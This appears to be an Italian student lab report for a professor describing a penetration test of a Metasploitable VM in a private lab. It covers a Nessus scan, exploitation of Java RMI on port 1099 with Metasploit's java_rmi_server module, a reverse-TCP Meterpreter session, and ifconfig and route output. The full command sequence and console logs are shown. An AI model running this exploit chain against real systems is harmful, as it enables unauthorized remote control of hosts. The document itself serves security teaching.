

# PENETRATION TESTING – ATTACCO SU METASPLOITABLE

## Introduzione:

Gentile Prof,

questo report documenta le attività svolte durante un esercizio di penetration testing su un ambiente controllato, utilizzando **Kali Linux come macchina attaccante** e **Metasploitable come macchina vittima**. L'obiettivo dell'esercizio era **sfruttare** una vulnerabilità nel servizio Java RMI sulla porta 1099 di Metasploitable per **ottenere una sessione remota Meterpreter e raccogliere evidenze sulla configurazione di rete e la tabella di routing della macchina vittima**.

## Dettagli delle macchine coinvolte:

Macchina Attaccante (Kali Linux):

Indirizzo IP: 192.168.99.111

Macchina Vittima (Metasploitable):

Indirizzo IP: 192.168.99.112

## Fase 1: Rilevamento delle vulnerabilità con Nessus:

Prima di eseguire l'attacco effettivo, è stata condotta una scansione di vulnerabilità utilizzando Nessus per confermare l'esistenza delle vulnerabilità note sulla macchina vittima. Durante la scansione, è stata identificata la presenza del servizio RMI Registry sulla porta 1099 di Metasploitable.

java rmi / Plugin #22227

Configure Audit Trail

< Back to Vulnerabilities

Hosts 1 Vulnerabilities 57 Remediations 2 Notes 2 History 1

INFO RMI Registry Detection < >

**Description**

The remote host is running an RMI registry, which acts as a bootstrap naming service for registering and retrieving remote objects with simple names in the Java Remote Method Invocation (RMI) system.

**See Also**

<https://docs.oracle.com/javase/1.5.0/docs/guide/rmi/spec/rmiTOC.html>  
<http://www.nessus.org/u?b6fd7659>

**Output**

```
Valid response recieved for port 1099:
0x00:  51 AC ED 00 05 77 0F 01 4F A8 B7 4B 00 00 01 88      Q....w..O..K....
0x10:  C3 FF AA B4 80 02 75 72 00 13 5B 4C 6A 61 76 61      .....ur..[Ljava
0x20:  2E 6C 61 6E 67 2E 53 74 72 69 6E 67 3B AD D2 56      .lang.String;..V
0x30:  E7 E9 1D 7B 47 02 00 00 70 78 70 00 00 00 00      ...{G...pxp....
```

To see debug logs, please visit individual host

Port ▲ Hosts

## Dettagli della Vulnerabilità Rilevata:

Plugin: java rmi / Plugin #22227

Hosts: 1

Vulnerabilità Rilevate: 57

Azioni correttive: 2

Note: 2

Cronologia: 1

## Fase 2: Esecuzione dell'attacco con Metasploit:

Dopo aver confermato la presenza delle vulnerabilità, abbiamo proceduto con l'utilizzo di Metasploit Framework per eseguire l'attacco sulla macchina Metasploitable. Abbiamo utilizzato il modulo "exploit/multi/misc/java\_rmi\_server" di Metasploit per sfruttare la vulnerabilità RMI sulla porta 1099.

```
(kali㉿kali)-[~]
$ msfconsole

      .-. .-.
     /   /   \
    /_____\___\
   /   o   o   \
  /_____\___\   \
 /   o_o   o_o   \
/_____\___\_____\
|   M S F   |   *
|_____|_____|
|   www   |
|_____|_____|
|   Home   |

+--=[ metasploit v6.3.19-dev ]
+--=[ 2318 exploits - 1215 auxiliary - 412 post ]
+--=[ 1234 payloads - 46 encoders - 11 nops ]
+--=[ 9 evasion ]

Metasploit tip: Enable HTTP request and response logging
with set HttpTrace true
Metasploit Documentation: https://docs.metasploit.com/

msf6 > use exploit/multi/misc/java_rmi_server
[*] No payload configured, defaulting to java/meterpreter/reverse_tcp
msf6 exploit(multi/misc/java_rmi_server) > set RHOSTS 192.168.99.112
RHOSTS => 192.168.99.112
msf6 exploit(multi/misc/java_rmi_server) > exploit

[*] Started reverse TCP handler on 192.168.99.111:4444
[*] 192.168.99.112:1099 - Using URL: http://192.168.99.111:8080/HGxEH3NKxaiTM
[*] 192.168.99.112:1099 - Server started.
[*] 192.168.99.112:1099 - Sending RMI Header ...
[*] 192.168.99.112:1099 - Sending RMI Call ...
[*] 192.168.99.112:1099 - Replied to request for payload JAR
[*] Sending stage (58829 bytes) to 192.168.99.112
[*] Meterpreter session 1 opened (192.168.99.111:4444 → 192.168.99.112:41314) at 2023-06-16 09:21:49 -0400
```

## Passaggi dell'attacco eseguiti:

Avvio di Metasploit Framework sulla macchina attaccante mediante il comando "msfconsole";

Selezione del modulo di exploit "exploit/multi/misc/java\_rmi\_server";

Impostazione dell'indirizzo IP della macchina vittima (192.168.99.112) come RHOSTS;

Esecuzione dell'attacco mediante il comando "exploit".

### Fase 3: Ottenimento della sessione remota Meterpreter:

L'attacco ha avuto successo, e come risultato, è stata stabilita una sessione remota Meterpreter sulla macchina vittima. Attraverso questa sessione, siamo stati in grado di eseguire comandi sulla macchina vittima e raccogliere le seguenti evidenze richieste:

```
meterpreter > ifconfig

Interface 1
=====
Name       : lo - lo
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ::

Interface 2
=====
Name       : eth0 - eth0
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 192.168.99.112
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::a00:27ff:fe33:8203
IPv6 Netmask : ::
```

### Configurazione di rete della macchina vittima:

Utilizzando il comando "ifconfig" nella sessione Meterpreter, abbiamo ottenuto informazioni sulla configurazione di rete della macchina vittima, tra cui l'indirizzo IP della scheda di rete, il gateway predefinito e altri dettagli rilevanti.

```
meterpreter > route

IPv4 network routes
=====
```

Subnet	Netmask	Gateway	Metric	Interface
127.0.0.1	255.0.0.0	0.0.0.0		
192.168.99.112	255.255.255.0	0.0.0.0		

```

IPv6 network routes
=====
```

Subnet	Netmask	Gateway	Metric	Interface
::1	::	::		
fe80::a00:27ff:fe33:8203	::	::		

### Tabella di routing della macchina vittima:

Per ottenere informazioni sulla tabella di routing della macchina vittima, abbiamo utilizzato il comando "route" nella sessione Meterpreter.

### Conclusioni:

Durante l'esercizio di penetration testing su Metasploitable, abbiamo condotto con successo un attacco sfruttando una vulnerabilità nel servizio Java RMI sulla porta 1099. Questa vulnerabilità ha consentito l'accesso non autorizzato alla macchina vittima e l'ottenimento di una sessione remota Meterpreter.

Attraverso la sessione Meterpreter, siamo stati in grado di raccogliere importanti informazioni sulla configurazione di rete della macchina vittima. Utilizzando il comando "**ifconfig**", abbiamo ottenuto dettagli riguardanti l'indirizzo IP, la subnet mask, l'indirizzo MAC e altri parametri di rete. Queste informazioni sono fondamentali per comprendere l'infrastruttura di rete della macchina vittima e identificare eventuali vulnerabilità o configurazioni non sicure.

Tuttavia, non siamo stati in grado di ottenere una visione completa della tabella di routing della macchina vittima a causa di limitazioni nell'ambiente di esecuzione. Le informazioni di routing che siamo riusciti a raccogliere indicano che il traffico destinato all'indirizzo di loopback (127.0.0.1) viene instradato internamente, mentre il traffico destinato all'indirizzo IPv4 della macchina vittima (192.168.99.112) viene instradato tramite l'interfaccia predefinita.

In conclusione, l'esercizio ha dimostrato l'efficacia dell'utilizzo di Metasploit e l'exploit basato sulla vulnerabilità Java RMI per ottenere accesso remoto non autorizzato a una macchina vittima. È fondamentale che le organizzazioni proteggano le proprie risorse IT e mitigano le vulnerabilità presenti nei loro sistemi per evitare accessi non autorizzati e proteggere i dati sensibili.

Il report delle evidenze raccolte fornisce una panoramica delle informazioni acquisite durante il penetration testing e dei comandi eseguiti sulla macchina vittima.